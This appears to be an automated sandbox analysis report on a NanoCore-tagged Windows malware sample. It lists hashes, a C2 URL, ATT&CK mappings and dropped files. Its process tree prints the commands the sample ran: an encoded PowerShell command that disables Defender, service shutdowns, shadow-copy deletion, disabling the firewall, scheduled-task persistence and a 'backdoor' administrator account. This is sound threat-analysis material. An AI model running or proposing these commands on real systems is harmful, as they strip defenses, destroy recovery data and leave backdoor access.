nanocore | 0ff5d88257bdbb27a4bdc09e314710ea93555a3472e0803591669cc7fc382741

Analysis

max time kernel
0s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 14:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe
Size 64KB
Sample260925-rtxncsyand
SHA256 0ff5d88257bdbb27a4bdc09e314710ea93555a3472e0803591669cc7fc382741
MD5 155e40d79f11ff93ccb410acb26e9f38
SHA1 d5e0e2248a10416fde74d53b352d874685876a32
SHA512 157b501c0c9e4a4cea88dc229b255c957967c9f593f07c1030639b334a9541e0a3373b08133318c95a4ee6a6a410f2332aca1a8bd76fb9ca8eb51485fd70ed90
SSDEEP 1536:V2EWo7uIlfrBPAtnuwWE4hI/zW6t1+DWy6/9YOpuSA2WCc3Vnwiuagn3:4OblfrBPYW6269YOpzA2WCc3Vwiur3
TLSH
T1EB53E88477E98621E5FE4EFE4D3296014731F8679C23D78D0A84449E1AB3785CEE8B27
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

http://socolive2.info

Mutex

ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes

c2_url
http://socolive2.info
version
1.2.2.0

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/4200-1-0x0000000000800000-0x0000000000816000-memory.dmp	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects command variations typically used by ransomware 1 IoCs

resource	yara_rule
behavioral2/memory/4200-1-0x0000000000800000-0x0000000000816000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral2/memory/4200-1-0x0000000000800000-0x0000000000816000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3852	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1820	net.exe
2156	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5468	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1640	wscript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

defense_evasion

Debugger Evasion

T1622

pid	Process
4200	2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3464	sc.exe
1084	sc.exe
4788	sc.exe
5796	sc.exe
3616	sc.exe
1440	sc.exe
3152	sc.exe
4628	sc.exe
3320	sc.exe
1388	sc.exe
1824	sc.exe
1132	sc.exe
1100	sc.exe
1920	sc.exe
5200	sc.exe
3192	sc.exe
2236	sc.exe
4636	sc.exe
4908	sc.exe
1784	sc.exe
4268	sc.exe
5620	sc.exe
4504	sc.exe
4952	sc.exe
2356	sc.exe
4104	sc.exe
2752	sc.exe
5936	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2448	cmd.exe
4524	cmd.exe
1136	cmd.exe
1416	cmd.exe
5084	cmd.exe
6012	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1088	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2356	ipconfig.exe
5648	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5744	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4384	vssadmin.exe
4316	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
580	schtasks.exe
1544	schtasks.exe
5504	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2680
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5200
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3152
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5936
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3464
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4504
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3320
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3192
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:2236
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:1388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:1824
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:4952
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:2356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:1132
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:1100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:1920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4636
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:5796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4908
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:3616
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1784
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:5256
- - C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    3⤵
    PID:4664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4268
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2752
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4384
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:5892
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:580
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  PID:5084
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4316
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:2260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  PID:1416
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  PID:1136
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  PID:4524
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5584
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  PID:2448
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2356
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  PID:6012
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5648
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5504
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1640
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4248
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:4144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5488
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:3852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5620
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:5512
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1088
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:1820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:2156
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  PID:3348
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:5476

C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe
1⤵
PID:3748

C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-24_155e40d79f11ff93ccb410acb26e9f38_destroyer_elex_glassworm_ngrbot_wannacry.exe
1⤵
PID:1704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

scr_20260925_153124.jpg

Path C:\ProgramData\SysUpdate\Scr\scr_20260925_153124.jpg
Size 136KB
SHA256 daa339994b88eb6e769d6cde9c0f2fbfaae4898e3c561870b189f4104876dd25
MD5 eed5285d6d18dc2a8d63383a1ec4c0ba
SHA1 6a31c3b07cf8755bdd83d41dda9ab15146efca64
SHA512 fb1e455929b9832e7d845a7b776e4718730d4e9d040f856e82e55816bd07c83604aef7a1a6b9cc34b14d8447d92655e72e633b82bc5b103dc6de06f8017263fe
SSDEEP 3072:60i8jt6qW2VY1ICK3OEynaOz9HWFX3V3vc0k+:60iwpW2VY1+3byaaHWNxcP+
TLSH
T15AD396539D08D786A16D43E8BD134E9C2F4A1B5DED923AFF01621ECB3E112635D8E12E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 86KB
SHA256 d12b574ab9824e71e3ce529d39972177bc29e320aed47b40e1235800a0d409a2
MD5 6be4053ea725621f44929130aa328a95
SHA1 36bfd0e4121746a525b86a399f501787f7bb6592
SHA512 72f34aec9fafc2b4415df15bfae4befdef6f07db57003a7defec6acffe8dcb1f28d7df798e8d4534d40fe559e6309438ac9520ca9be0a571c8e78497fed3d14d
SSDEEP 1536:wBGAEG7b5S9EOUWOvLSQE7YHmTp972IeV3IydzLpoBZpq+4UIkYUBKYlWyVcnz:wBGAEG71YUxvLDG9AI3wosUzYezWyVcz
TLSH
T1FD834A329B23FDC4677F3C80E01429561CC83A7B8775623CFA841E6A6AE6544DF3D998
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
Size 309B
SHA256 d3dbc6fb18f422016bc81fad2656261f55ebf7a04b478da5f8e720386adb7278
MD5 f840899505bc160a18033c15e11b8d9b
SHA1 36d85b827c4fcd3fb8ded034ab24e9f4f250cf4c
SHA512 d63a441b2fd7dfd2ba0233d1e5784177fed81b4f9fae3fdeadf46e79f6d173a1531939a326cb8aadd82642d1c5d5b0d1992e5d837452bc4e7ff2d63ac62d246e
TLSH
T184E07D4BA11C85A410019127C0F24D0CE1A054282A17BF208AA0EC4D3AA08C949F1042
MD5 SHA1 SHA512 TLSH

Submit Download

del.bat

Path C:\Users\Admin\AppData\Local\Temp\del.bat
Size 59B
SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
MD5 9cecbebdcdd60358132849714a3b82f7
SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
TLSH
T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
MD5 SHA1 SHA512 TLSH

Submit Download

temp_steal.log

Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
Size 46KB
SHA256 5aaa1d054d9f0642ddd9af7431ebb994f58a5f5ed387d38e7145f96c136f1fa9
MD5 070295c8c4e87401687b602d9f38e16e
SHA1 a846c8bc257da674516823830145d9b4b315c115
SHA512 178da3985926cce1122ed043b401fa90b2591b11e8720cc3d763afedd0c1d0b41281a3397f0ecfae39df20dc4af4b0634040729b3f3f87e502a38e3c6134bb33
SSDEEP 768:I5ZVPZVyZVBZVcZVLZVOZVdZV4ZVHZVXirDO7/O:IpO
TLSH
T17623C6B79780B9C535972ACBE42D4E8E2DB25F27EC5366CCA6312C4F266CD08E0D5123
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_steal.log

Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
Size 266B
SHA256 19203124755863fc0bca16f476c9bc7cb3181c7edd22596097ec66c65ff5c6e1
MD5 e45a78b7f76914854c9796cd141f93a0
SHA1 7e9c3f6090b9ae97dfb99bd6ddc76099c51db15b
SHA512 d1b685d5b0ebaef439de0af4778869cd038dd0999618dfa0c956b6eebeab7377a23e3dddea301e46eb500342aa7a75e6881cbd5176e4f68b1ead535d299607c7
TLSH
T1AED02B53CEC21351F091B8061D702928713FDD0F94E082AD578212787C720C2BB78527
MD5 SHA1 SHA512 TLSH

Submit Download

temp_steal.log

Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
Size 302KB
SHA256 673e716a440f1bd210f120d170eecffa5cf0583b4946f07b4327aa679ea0c8b6
MD5 8a2ae5affb9da5cbaff2024a137d4401
SHA1 9cf337eeada48bdf3f81aca68f002338aad78dc6
SHA512 f244ee2af9d410cfd76469d4a1393502cecd29da501a9648879e794cba14c5acd85418d849506ae976cfcbfb73d792965291654439426747768c1719f00c058d
SSDEEP 6144:8faAhhZ8wXp+t4BOJwoV9ug+j2F8Vnc1BxA:8faAhH8w5+RJpuhVncne
TLSH
T1D964BB31C6B29E2705825AA7181637D1BC78B7B3C1ECD1FF61A66A63F0729B2D31D214
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RANSOM_NOTE.txt

Path C:\Users\Admin\Desktop\RANSOM_NOTE.txt
Size 177B
SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
MD5 c381da16f24527b361930429b75608ad
SHA1 cc68fc2b7246e2b7611b3a1798a7dd3ad5b1c912
SHA512 e79ae7b36ed481285d8fd080a69e080b637b0eaff67bcb53d0f27c89a984dd70f913d1f69cb306e0b96116b898227814eea36e8e3cfd03302c4455b28da89545
TLSH
T121C0C00B3EC4377822CC21E209018C12914EEA0CAA044254022BC9109EA496D30D44B3
MD5 SHA1 SHA512 TLSH

Submit Download

READ_ME_NANOCORE.txt

Path C:\Users\Admin\Desktop\READ_ME_NANOCORE.txt
Size 145B
SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
MD5 d7ea02f4c4953d6a3f52b5d0ecbeb047
SHA1 ce3a66707cabbbeaa0980b91d3b6271fc84145cb
SHA512 441ac2261f8c29eed640bdddfd5195f9fe5fe5fb0f08a77bbebdb4507819e8717855e5485f554986eb0f69ee55d1fa5939c3f7dc84a333f9d78a15973df56f70
TLSH
T156C02B572EE03298B1C036C20A0A4CA2A76D470CD605C6582A2FC42033001EE2E41130
MD5 SHA1 SHA512 TLSH

Submit Download

stolen_data_here.txt

Path C:\Users\Admin\Desktop\stolen_data_here.txt
Size 21KB
SHA256 80db9b47b1d6a5ac1e6994a8c16076466becc3c3f14bfd267ab26d4899dc6ce5
MD5 d18c19563285d02a95c6c6b381353e36
SHA1 f4249951a4c5720b66d368bf5847943211121f62
SHA512 543a8a3c771d7074586ec362ca23847d9135211fd40a8887eda11d84d5d83c00c3c714d23bbdbdf33904f9c38f832faed0edd838f3065fa24c40e2df13903292
SSDEEP 192:RDj6yKas4I9zdj6yKanZQynZQy6ZQyJZQykZQyN:RDeXreWZQynZQy6ZQyJZQykZQyN
TLSH
T173A274B78380B8C575972ACBD02D9E4E2DB25F27EC5366CCA6316C4F266CD08E1D5423
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stolen_data_here.txt

Path C:\Users\Admin\Desktop\stolen_data_here.txt
Size 288B
SHA256 01dd87ee9a94a3cd5e59879a42d74e8a83a75b731427bc7baeabcd7ee06baec1
MD5 e7dc96df30330de2faea1ea0c8fe154a
SHA1 836ed142a1aa7ca744bf6245f9fee2a0c751f7ea
SHA512 e572e96d7e7179dbae9567196653b0e4cf647f8952b707a3a1523e0d3f1bde7b522b5bc0f4e0e2b1caeabef951084e1d0fe14f2a445678a6e357b2cb1b732a3b
TLSH
T1FDD017936EE102EDB6503E0E22655F003ABAD66B856104AD33D3F816783109B3F6CD4F
MD5 SHA1 SHA512 TLSH

Submit Download

stolen_data_here.txt

Path C:\Users\Admin\Desktop\stolen_data_here.txt
Size 302KB
SHA256 ea0f66fddc5664a42202073d6f49ad4900ac7e6287c03da37d607b76f4c7b0f8
MD5 03c3079514e49ebae2c5d186743f5a2b
SHA1 559bc10d9a0c7bffc7b30cb6d443ef0159cedbe8
SHA512 077259b832a97b35a958d7379f1fa195ac90c56b8c0559af4933c09225b049238e2f489b8c8de7062cf6b009b11e236299d6beb424dcdcf5a7d2693779ff7ae6
SSDEEP 6144:bf+AhhJ8wXp+t4BOJwoV9ug+j2F8Vnc1Bxx:bf+AhP8w5+RJpuhVncnj
TLSH
T19C64BB31C6B29E2705825AAB141637D1BC78B7B3C1ECD1FF61A66A63F0729B2D31D214
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

invoice_2.pdf

Path C:\Users\Admin\Documents\invoice_2.pdf
Size 86KB
SHA256 d8c103b4f1083ad3c9d948eced0b2ccbae5bcac8a430d7eaa965ab06eb3c888a
MD5 48f20e91bbaa710f1887a8808e8b0116
SHA1 8889687814df0e9ebd1e7fba593ec2f88a40771d
SHA512 426a5908e14c1233d71a0f15978b8baf98e85c9e21bb3249d1576aa4ad66d07cd4691c04bbee0a26e5cafcc118e5dd44fcb7e3f62a7191f0798666a1f62b8a72
SSDEEP 1536:BBGAEG7b5S9EOUWOvLSQE7YHmTp972IeV3IydzLpoBZpq+4UIkYUBKYlWyVcnz:BBGAEG71YUxvLDG9AI3wosUzYezWyVcz
TLSH
T14F834A329B23FDC4677F3C80E01429561CC83A7B8775627CFA801E6A6AE6544DF3D998
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2680-17-0x0000023EE90A0000-0x0000023EE90AA000-memory.dmp

Download

memory/2680-28-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-21-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-22-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-23-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-24-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-25-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-26-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-27-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-226-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-29-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-30-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-31-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-19-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-18-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-20-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/2680-8-0x0000023EE90C0000-0x0000023EE90E2000-memory.dmp

Download

memory/2680-13-0x0000023EE9430000-0x0000023EE944E000-memory.dmp

Download

memory/2680-14-0x0000023EE9450000-0x0000023EE9502000-memory.dmp

Download

memory/4200-1-0x0000000000800000-0x0000000000816000-memory.dmp

Download

memory/4200-15-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/4200-10-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

memory/4200-9-0x00007FFF99BF0000-0x00007FFF9A594000-memory.dmp

Download

